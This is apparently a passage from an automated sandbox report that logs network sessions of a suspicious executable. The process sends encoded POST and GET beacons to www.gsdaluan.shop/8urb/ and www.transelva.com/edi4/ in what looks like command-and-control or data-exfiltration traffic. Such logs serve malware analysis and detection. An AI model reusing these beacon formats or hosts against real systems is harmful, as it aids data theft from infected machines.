43 73 72 38 56 6c 41 65 72 6a 59 6c 71 73 48 71 6b 59 4d 4b 4e 79 55 4c 6d 36 45 54 41 6f 56 44 2f 39 33 4a 4f 57 47 54 62 63 48 79 37 64 37 63 6d 75 4f 34 37 2f 72 45 32 51 39 6a 79 51 4c 79 38 33 47 6a 2f 67 4b 68 32 45 68 4b 73 7a 50 77 30 39 5a 74 64 61 6f 56 79 30 54 51 66 69 6e 36 41 67 48 6c 42 71 75 69 4a 76 30 77 79 32 69 78 70 4c 52 65 45 69 54 62 49 67 71 63 33 2b 45 46 64 59 50 73 69 74 69 69 79 32 58 67 47 44 41 56 31 67 48 75 75 69 4e 37 33 68 45 48 53 39 75 74 62 35 58 50 58 49 37 56 30 34 32 6d 31 45 6c 72 44 4b 56 46 74 37 74 4d 31 43 69 53 77 2b 7a 2b 54 71 2f 75 4a 4b 34 46 68 2b 5a 49 2b 45 39 78 2f 57 30 48 66 77 34 64 63 52 59 48 7a 4a 75 30 57 72 72 73 2f 32 49 4a 4c 6e 73 77 63 48 65 50 45 77 2f 53 68 34 79 77 39 65 36 6b 6c 57 69 62 6b 58 49 55 68 4f 6b 36 32 4f 56 55 77 6d 6d 67 6d 4e 59 4f 62 49 53 2f 66 [TRUNCATED] Data Ascii: 4dV43tA=AW+t3UbHBFReor3XZIvLRc6nt1guAP3asr9Kx/XYf6mF/pZMjCsr8VlAerjYlqsHqkYMKNyULm6ETAoVD/93JOWGTbcHy7d7cmuO47/rE2Q9jyQLy83Gj/gKh2EhKszPw09ZtdaoVy0TQfin6AgHlBquiJv0wy2ixpLReEiTbIgqc3+EFdYPsitiiy2XgGDAV1gHuuiN73hEHS9utb5XPXI7V042m1ElrDKVFt7tM1CiSw+z+Tq/uJK4Fh+ZI+E9x/W0Hfw4dcRYHzJu0Wrrs/2IJLnswcHePEw/Sh4yw9e6klWibkXIUhOk62OVUwmmgmNYObIS/f0VAB8HKhp9GZtLhobPcw1uRKQ9zlDhC4zP6fBol/6+eLtjHm8GVoo27RVU080C7Z8RJAsCESX0BYI4c9ys6T8XvqMZVYJQsN1lxbO/8jZHWk+Ze9ljwlCXwHKAslGD/qz3Fef527Ot7nQHv6yC/lUm7zkYv76JiRWq2lCGGyJhUUHt2izsyXAfjdKByHiw4ZeT8UNOUmqT2+Alhi153XIVrLpWAkHLjvrs6JDzNdpgaxZ9td4X6PcZHL3Gzyqh+yLI+RrI48ImQLn9+z03qNqvmExujM84bj7QhESfeowyknhTVkxRxdTw8haEmNyD2+Fnm4L/71u1UGN7kwZ+dn4YUlekSn9pmiUJV+T7GvMG7PGWjtW0A/CXIDLkM1bpBKXTqQtyF67ioZ0H/joZgm8KLyv9GrWMKAgElEB/5bgB4csizo9mJ75P2SZty1yatRFz+ZYILr0zvgUEYkd8lHlQAmb9GcwvntDje5+P0ZHPiZCpQWfky/ezBVNKg5vJ95pYlXBEyyK4RZCNBWWZrS7dDx/7xWC08tBJhhlNpJU5zLacOhatE3q1YGCQnW8qgmwJI2sTRlcyF5cbfhMEVv5gNAonetvSwdBX5IV84YRVgsXan0LOhj33k0gFMr4CwcKZlUBM08sfbHTQYDbcdvoxUgSqSKL4ely5 [TRUNCATED]
Jul 1, 2024 16:17:32.310808897 CEST	523	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=iso-8859-1 Content-Length: 239 Connection: close Date: Mon, 01 Jul 2024 14:17:32 GMT Server: Apache Location: https://www.transelva.com/edi4/ Cache-Control: max-age=3600 Expires: Mon, 01 Jul 2024 15:17:32 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 72 61 6e 73 65 6c 76 61 2e 63 6f 6d 2f 65 64 69 34 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.transelva.com/edi4/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49750	74.208.236.72	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:34.312062025 CEST	528	OUT	GET /edi4/?4dV43tA=NUWN0h33C1Yyooj/Nqm5TKnDvFAfPsTlu/xXoo6GTaC/958/rmN21lJSbp33wZ0UtxsuR42FNjevCBZMMsNJEJT8RotDqfV3dG69h6TKJk4r6FZf3JTIotB8t00dC+KIgA==&3hkl=slNhbLXpBjO8vl HTTP/1.1 Host: www.transelva.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Jul 1, 2024 16:17:34.878957987 CEST	849	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=iso-8859-1 Content-Length: 404 Connection: close Date: Mon, 01 Jul 2024 14:17:34 GMT Server: Apache Location: https://www.transelva.com/edi4/?4dV43tA=NUWN0h33C1Yyooj/Nqm5TKnDvFAfPsTlu/xXoo6GTaC/958/rmN21lJSbp33wZ0UtxsuR42FNjevCBZMMsNJEJT8RotDqfV3dG69h6TKJk4r6FZf3JTIotB8t00dC+KIgA==&3hkl=slNhbLXpBjO8vl Cache-Control: max-age=3600 Expires: Mon, 01 Jul 2024 15:17:34 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 72 61 6e 73 65 6c 76 61 2e 63 6f 6d 2f 65 64 69 34 2f 3f 34 64 56 34 33 74 41 3d 4e 55 57 4e 30 68 33 33 43 31 59 79 6f 6f 6a 2f 4e 71 6d 35 54 4b 6e 44 76 46 41 66 50 73 54 6c 75 2f 78 58 6f 6f 36 47 54 61 43 2f 39 35 38 2f 72 6d 4e 32 31 6c 4a 53 62 70 33 33 77 5a 30 55 74 78 73 75 52 34 32 46 4e 6a 65 76 43 42 5a 4d 4d 73 4e 4a 45 4a 54 38 52 6f 74 44 71 66 56 33 64 47 36 39 68 36 54 4b 4a 6b 34 72 36 46 5a 66 33 4a 54 49 6f 74 42 38 74 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.transelva.com/edi4/?4dV43tA=NUWN0h33C1Yyooj/Nqm5TKnDvFAfPsTlu/xXoo6GTaC/958/rmN21lJSbp33wZ0UtxsuR42FNjevCBZMMsNJEJT8RotDqfV3dG69h6TKJk4r6FZf3JTIotB8t00dC+KIgA==&3hkl=slNhbLXpBjO8vl">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49751	192.207.62.21	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:40.379960060 CEST	782	OUT	POST /8urb/ HTTP/1.1 Host: www.gsdaluan.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.gsdaluan.shop Cache-Control: no-cache Connection: close Content-Length: 208 Content-Type: application/x-www-form-urlencoded Referer: http://www.gsdaluan.shop/8urb/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 7a 55 7a 37 59 51 54 73 4a 6b 6d 4d 4d 79 55 2f 47 47 4f 61 64 76 67 78 37 31 30 7a 43 6f 68 32 36 79 44 50 4e 64 53 39 4d 37 74 74 4c 78 72 46 4e 56 78 6b 6f 51 62 69 35 74 48 56 30 64 30 45 44 4e 4f 2b 62 32 79 57 36 72 30 7a 36 51 44 58 39 47 58 64 35 63 4e 35 51 42 47 7a 64 74 31 43 4f 69 54 55 36 77 73 77 6c 41 36 50 47 4f 50 69 69 70 72 74 2b 42 5a 6e 38 54 33 43 44 45 4d 69 4b 48 57 64 47 2b 44 2b 6e 56 41 4c 66 59 6c 4d 6e 74 68 4e 4d 6a 70 61 78 6f 7a 50 35 62 43 7a 48 4b 66 43 51 78 54 59 4a 43 48 6b 79 51 54 35 59 4b 64 32 6a 54 73 47 65 4f 71 50 73 75 51 5a 43 77 35 56 70 31 63 3d Data Ascii: 4dV43tA=zUz7YQTsJkmMMyU/GGOadvgx710zCoh26yDPNdS9M7ttLxrFNVxkoQbi5tHV0d0EDNO+b2yW6r0z6QDX9GXd5cN5QBGzdt1COiTU6wswlA6PGOPiiprt+BZn8T3CDEMiKHWdG+D+nVALfYlMnthNMjpaxozP5bCzHKfCQxTYJCHkyQT5YKd2jTsGeOqPsuQZCw5Vp1c=
Jul 1, 2024 16:17:40.961719990 CEST	1195	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 01 Jul 2024 14:17:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-cache Content-Encoding: gzip Data Raw: 33 63 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 54 5d 6f 13 47 14 7d 8e 7f c5 74 a3 0a 1b c5 3b 6b c7 b8 61 bd b6 44 51 2a 21 52 b5 52 53 f1 80 aa 6a bc 3b eb 1d b2 de d9 ec 8e f3 51 cb 12 49 4b 0a 02 9a a0 12 35 1f 95 68 43 9b 96 46 32 85 54 82 92 18 fe 4c 66 ed 3c e5 2f 74 f6 c3 c6 21 d4 7e d8 9d bb f7 9e 73 cf 9d 33 a3 7d 60 50 9d 2d ba 18 58 ac 6e 57 52 5a ff 81 91 21 56 75 cc 10 d0 2d e4 f9 98 95 a5 06 33 b3 13 92 08 33 c2 6c 5c e9 76 1e 74 f7 36 8f 37 9e 77 97 f6 f8 ce a6 06 e3 70 4a f3 d9 a2 f8 9c 3a df ac 23 af 46 1c 55 29 b9 c8 30 88 53 13 6f 3a b5 a9 a7 8e 16 0a 85 56 aa 4a 8d c5 a6 49 1d 96 f5 c9 37 58 cd 15 dc 85 52 b4 34 51 9d d8 8b aa c4 db 77 8f 3a 3f 4a ad 94 5c 47 c4 69 ce 13 83 59 6a 51 51 44 5e 02 9d 53 3e 04 a8 c1 68 49 e4 44 f4 cd 2a d2 67 6a 1e 6d 38 86 0a 46 f3 0a ba 30 8e 12 52 30 6a 9a 66 4c 10 f1 81 5c 51 00 59 98 d4 2c a6 82 42 88 6a 13 07 67 4f 45 92 ce b3 36 36 45 52 3e 4c 12 54 ba e8 12 3b 6c 88 2c 9b 08 33 c7 cd 8f cc 8b 25 90 80 e4 27 c2 8a 2a f5 0c ec a9 39 77 01 18 [TRUNCATED] Data Ascii: 3c1uT]oG}t;kaDQ!RRSj;QIK5hCF2TLf</t!~s3}`P-XnWRZ!Vu-33l\vt67wpJ:#FU)0So:VJI7XR4Qw:?J\GiYjQQD^S>hIDgjm8F0R0jfL\QY,BjgOE66ER>LT;l,3%'*9wFqZ&%qnJu)TSP%4R(d8@e1\|I}0MH CVL0A>/RnllxJ!4huD,M]gSS%{zY7f9FQN/Ux&\L]CXIUF''kW1}=Vf'e%5d6OT0twSD#e9,El~s>_`{^\|_k+Fiww.i}=/U# .ZlvMWn-?;\|"AEE&CrBz\|es''lb}\|}Li>Wox{Tuti8\WxcCIKGg:Ls(! +_?g1f;c'56XD?7lcsc_cy:dfY_w"fit$1+s5S2a\|C10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49752	192.207.62.21	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:42.922319889 CEST	802	OUT	POST /8urb/ HTTP/1.1 Host: www.gsdaluan.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.gsdaluan.shop Cache-Control: no-cache Connection: close Content-Length: 228 Content-Type: application/x-www-form-urlencoded Referer: http://www.gsdaluan.shop/8urb/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 7a 55 7a 37 59 51 54 73 4a 6b 6d 4d 4d 52 4d 2f 4b 46 57 61 49 2f 67 79 6e 46 30 7a 49 49 68 79 36 31 4c 50 4e 5a 69 74 4e 4e 39 74 4c 51 62 46 66 6b 78 6b 72 51 62 69 74 39 48 4d 77 64 30 66 44 4e 44 64 62 33 4f 57 36 72 67 7a 36 55 50 58 39 52 72 65 34 4d 4e 37 59 68 47 78 44 64 31 43 4f 69 54 55 36 77 34 4b 6c 42 53 50 46 39 58 69 69 49 71 37 79 68 5a 6b 37 54 33 43 48 45 4d 63 4b 48 57 7a 47 2f 76 55 6e 58 34 4c 66 63 68 4d 6e 38 68 4f 46 6a 70 55 31 6f 79 43 35 6f 37 52 49 71 50 52 56 7a 47 35 62 77 44 4d 7a 6d 2b 54 43 6f 56 65 77 7a 41 2b 4f 64 69 34 39 65 78 77 59 54 70 6c 33 69 4c 4e 77 36 34 6a 6f 37 72 58 71 47 41 57 35 67 62 66 59 49 61 58 Data Ascii: 4dV43tA=zUz7YQTsJkmMMRM/KFWaI/gynF0zIIhy61LPNZitNN9tLQbFfkxkrQbit9HMwd0fDNDdb3OW6rgz6UPX9Rre4MN7YhGxDd1COiTU6w4KlBSPF9XiiIq7yhZk7T3CHEMcKHWzG/vUnX4LfchMn8hOFjpU1oyC5o7RIqPRVzG5bwDMzm+TCoVewzA+Odi49exwYTpl3iLNw64jo7rXqGAW5gbfYIaX
Jul 1, 2024 16:17:43.529786110 CEST	1195	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 01 Jul 2024 14:17:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-cache Content-Encoding: gzip Data Raw: 33 63 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 54 5d 6f 13 47 14 7d 8e 7f c5 74 a3 0a 1b c5 3b 6b c7 b8 61 bd b6 44 51 2a 21 52 b5 52 53 f1 80 aa 6a bc 3b eb 1d b2 de d9 ec 8e f3 51 cb 12 49 4b 0a 02 9a a0 12 35 1f 95 68 43 9b 96 46 32 85 54 82 92 18 fe 4c 66 ed 3c e5 2f 74 f6 c3 c6 21 d4 7e d8 9d bb f7 9e 73 cf 9d 33 a3 7d 60 50 9d 2d ba 18 58 ac 6e 57 52 5a ff 81 91 21 56 75 cc 10 d0 2d e4 f9 98 95 a5 06 33 b3 13 92 08 33 c2 6c 5c e9 76 1e 74 f7 36 8f 37 9e 77 97 f6 f8 ce a6 06 e3 70 4a f3 d9 a2 f8 9c 3a df ac 23 af 46 1c 55 29 b9 c8 30 88 53 13 6f 3a b5 a9 a7 8e 16 0a 85 56 aa 4a 8d c5 a6 49 1d 96 f5 c9 37 58 cd 15 dc 85 52 b4 34 51 9d d8 8b aa c4 db 77 8f 3a 3f 4a ad 94 5c 47 c4 69 ce 13 83 59 6a 51 51 44 5e 02 9d 53 3e 04 a8 c1 68 49 e4 44 f4 cd 2a d2 67 6a 1e 6d 38 86 0a 46 f3 0a ba 30 8e 12 52 30 6a 9a 66 4c 10 f1 81 5c 51 00 59 98 d4 2c a6 82 42 88 6a 13 07 67 4f 45 92 ce b3 36 36 45 52 3e 4c 12 54 ba e8 12 3b 6c 88 2c 9b 08 33 c7 cd 8f cc 8b 25 90 80 e4 27 c2 8a 2a f5 0c ec a9 39 77 01 18 [TRUNCATED] Data Ascii: 3c1uT]oG}t;kaDQ!RRSj;QIK5hCF2TLf</t!~s3}`P-XnWRZ!Vu-33l\vt67wpJ:#FU)0So:VJI7XR4Qw:?J\GiYjQQD^S>hIDgjm8F0R0jfL\QY,BjgOE66ER>LT;l,3%'*9wFqZ&%qnJu)TSP%4R(d8@e1\|I}0MH CVL0A>/RnllxJ!4huD,M]gSS%{zY7f9FQN/Ux&\L]CXIUF''kW1}=Vf'e%5d6OT0twSD#e9,El~s>_`{^\|_k+Fiww.i}=/U# .ZlvMWn-?;\|"AEE&CrBz\|es''lb}\|}Li>Wox{Tuti8\WxcCIKGg:Ls(! +_?g1f;c'56XD?7lcsc_cy:dfY_w"fit$1+s5S2a\|C10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49753	192.207.62.21	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:45.466121912 CEST	1819	OUT	POST /8urb/ HTTP/1.1 Host: www.gsdaluan.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.gsdaluan.shop Cache-Control: no-cache Connection: close Content-Length: 1244 Content-Type: application/x-www-form-urlencoded Referer: http://www.gsdaluan.shop/8urb/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 7a 55 7a 37 59 51 54 73 4a 6b 6d 4d 4d 52 4d 2f 4b 46 57 61 49 2f 67 79 6e 46 30 7a 49 49 68 79 36 31 4c 50 4e 5a 69 74 4e 4e 31 74 4c 43 6a 46 4f 33 70 6b 71 51 62 69 75 39 48 52 77 64 31 50 44 4e 62 42 62 33 43 67 36 75 6b 7a 37 78 54 58 73 56 2f 65 79 4d 4e 37 55 42 47 77 64 74 31 79 4f 6d 4f 64 36 77 6f 4b 6c 42 53 50 46 38 6e 69 67 5a 71 37 30 68 5a 6e 38 54 33 77 44 45 4d 6e 4b 48 65 46 47 2f 62 75 6d 6d 59 4c 63 38 78 4d 68 4f 35 4f 4b 6a 6f 79 34 49 7a 52 35 70 48 6e 49 71 54 6a 56 79 79 66 62 79 54 4d 79 33 2b 4a 65 4b 4a 53 6b 67 64 65 42 73 69 53 72 5a 64 79 62 67 4d 58 30 42 62 44 78 4a 4d 72 6d 66 76 57 72 48 52 4e 76 55 76 79 49 50 54 38 47 77 72 4f 79 53 79 43 52 6d 55 6e 47 6d 70 64 6c 75 4a 77 72 64 4c 59 6d 49 68 71 67 67 4b 4d 77 55 41 77 66 53 6b 78 46 7a 2f 4c 36 6f 7a 61 4c 30 34 7a 59 37 6a 76 31 76 4f 43 7a 57 75 4b 45 49 4f 45 63 6c 6e 75 78 34 6d 34 51 64 61 2f 50 53 49 77 67 34 46 73 65 62 49 4e 78 70 57 61 6b 59 78 31 38 66 5a 78 6b 5a 38 43 43 57 [TRUNCATED] Data Ascii: 4dV43tA=zUz7YQTsJkmMMRM/KFWaI/gynF0zIIhy61LPNZitNN1tLCjFO3pkqQbiu9HRwd1PDNbBb3Cg6ukz7xTXsV/eyMN7UBGwdt1yOmOd6woKlBSPF8nigZq70hZn8T3wDEMnKHeFG/bummYLc8xMhO5OKjoy4IzR5pHnIqTjVyyfbyTMy3+JeKJSkgdeBsiSrZdybgMX0BbDxJMrmfvWrHRNvUvyIPT8GwrOySyCRmUnGmpdluJwrdLYmIhqggKMwUAwfSkxFz/L6ozaL04zY7jv1vOCzWuKEIOEclnux4m4Qda/PSIwg4FsebINxpWakYx18fZxkZ8CCW1pHeeGPYTV4vyfJEgplPPZ+659vh5fq0exCEWEv03jR7eZv7AO4miRvgBe1H2lSkcnTxUdnSHkk1lMmO9B3bDm3uXYrsg4SbLffd6YE9EVe2GjRHzCFvZGUEDn3DAoy6QT+FQM5vH/j2/+2SjDeVwRRz2Lgrmpi1XI0puHD7oz5DivS1CpIRAmPi5eMuoC3wct7xQ6E+IshslCreWzVOuplb8dAxY60QMQvWxiEIiVqvQJy6zRxgKIFYa/uFhOootvwv/mEd7eJKQSaQXB4FvtBRbsr9gY2FWIoHqMaEG7eQVQQikS5eZbMLsQKjiAPpGsv3orf6zixXuAzd9JuXwcsSzOZGoPZGH3znzmv/qD+X9sfSg44SMFTXqNs/xcKBaTPamTlT+gaMKEYU802sBJt1aLod6sJlwJlD50U7TSaB0FM5WRSVlKencRrjGmwKdM3pIPapXfaX510o+1tFt1jJ7XpwSSq176d2r5Erb+eiJu0mmWaeFOZhMvHe7I7Mo8rpUMGjDNuQTwXwR+aOzoy0pO38PPiN+xcfDe7YHtXwXGYL35D31ZVXm7RhU4lzCWfag5SHepbojfwIA8IQr0KfvfIFJVX98CtdF4KjqjTiJbJshRyXSdNkGY1d6NiIXJSP5Jd5271y5fvuevZa6EYqcFO/nEyC8H [TRUNCATED]
Jul 1, 2024 16:17:46.124095917 CEST	1195	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 01 Jul 2024 14:17:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-cache Content-Encoding: gzip Data Raw: 33 63 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 54 5d 6f 13 47 14 7d 8e 7f c5 74 a3 0a 1b c5 3b 6b c7 b8 61 bd b6 44 51 2a 21 52 b5 52 53 f1 80 aa 6a bc 3b eb 1d b2 de d9 ec 8e f3 51 cb 12 49 4b 0a 02 9a a0 12 35 1f 95 68 43 9b 96 46 32 85 54 82 92 18 fe 4c 66 ed 3c e5 2f 74 f6 c3 c6 21 d4 7e d8 9d bb f7 9e 73 cf 9d 33 a3 7d 60 50 9d 2d ba 18 58 ac 6e 57 52 5a ff 81 91 21 56 75 cc 10 d0 2d e4 f9 98 95 a5 06 33 b3 13 92 08 33 c2 6c 5c e9 76 1e 74 f7 36 8f 37 9e 77 97 f6 f8 ce a6 06 e3 70 4a f3 d9 a2 f8 9c 3a df ac 23 af 46 1c 55 29 b9 c8 30 88 53 13 6f 3a b5 a9 a7 8e 16 0a 85 56 aa 4a 8d c5 a6 49 1d 96 f5 c9 37 58 cd 15 dc 85 52 b4 34 51 9d d8 8b aa c4 db 77 8f 3a 3f 4a ad 94 5c 47 c4 69 ce 13 83 59 6a 51 51 44 5e 02 9d 53 3e 04 a8 c1 68 49 e4 44 f4 cd 2a d2 67 6a 1e 6d 38 86 0a 46 f3 0a ba 30 8e 12 52 30 6a 9a 66 4c 10 f1 81 5c 51 00 59 98 d4 2c a6 82 42 88 6a 13 07 67 4f 45 92 ce b3 36 36 45 52 3e 4c 12 54 ba e8 12 3b 6c 88 2c 9b 08 33 c7 cd 8f cc 8b 25 90 80 e4 27 c2 8a 2a f5 0c ec a9 39 77 01 18 [TRUNCATED] Data Ascii: 3c1uT]oG}t;kaDQ!RRSj;QIK5hCF2TLf</t!~s3}`P-XnWRZ!Vu-33l\vt67wpJ:#FU)0So:VJI7XR4Qw:?J\GiYjQQD^S>hIDgjm8F0R0jfL\QY,BjgOE66ER>LT;l,3%'*9wFqZ&%qnJu)TSP%4R(d8@e1\|I}0MH CVL0A>/RnllxJ!4huD,M]gSS%{zY7f9FQN/Ux&\L]CXIUF''kW1}=Vf'e%5d6OT0twSD#e9,El~s>_`{^\|_k+Fiww.i}=/U# .ZlvMWn-?;\|"AEE&CrBz\|es''lb}\|}Li>Wox{Tuti8\WxcCIKGg:Ls(! +_?g1f;c'56XD?7lcsc_cy:dfY_w"fit$1+s5S2a\|C10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49754	192.207.62.21	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:47.997961044 CEST	528	OUT	GET /8urb/?3hkl=slNhbLXpBjO8vl&4dV43tA=+Wbbbk7eLFmMNhAmT0HXUc8arE4mAIhp5z7AS+/8DqhgdhWyAH0zoQfcqO3QhsAMO97HQEWUjr1A2ySQn1zg0/55KGrPENVTP1yAkCUjuBmNS/fntZ3fyi496lnRN2tFRA== HTTP/1.1 Host: www.gsdaluan.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Jul 1, 2024 16:17:48.596379042 CEST	1236	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 01 Jul 2024 14:17:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-cache Data Raw: 36 31 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e e7 bd 91 e7 ab 99 e9 98 b2 e7 81 ab e5 a2 99 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 63 6f 6c 6f 72 3a 23 34 34 34 7d 0a 62 6f 64 79 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 e5 ae 8b e4 bd 93 22 7d 0a 2e 6d 61 69 6e 7b 77 69 64 74 68 3a 36 30 30 70 78 3b 6d 61 72 67 69 6e 3a 31 30 25 20 61 75 74 6f 3b 7d 0a 2e 74 69 74 6c 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 30 61 35 33 61 3b 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 68 65 69 67 68 74 3a 20 34 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 34 30 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 30 70 78 3b 7d 0a 2e 63 6f 6e 74 65 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c [TRUNCATED] Data Ascii: 613<!doctype html><html><head><meta charset="utf-8"><title></title><style>*{margin:0;padding:0;color:#444}body{font-size:14px;font-family:""}.main{width:600px;margin:10% auto;}.title{background: #20a53a;color: #fff;font-size: 16px;height: 40px;line-height: 40px;padding-left: 20px;}.content{background-color:#f3f7f9; height:280px;border:1px dashed #c6d9b6;padding:20px}.t1{border-bottom: 1px dashed #c6d9b6;color: #ff4000;font-weight: bold; margin: 0 0 20px; padding-bottom: 18px;}.t2{margin-bottom:8px; font-weight:bold}ol{margin:0 0 20px 22px;padding:0;}ol li{line-height:30px}</style></head><script charset="UTF-8" id="LA_COLLECT" 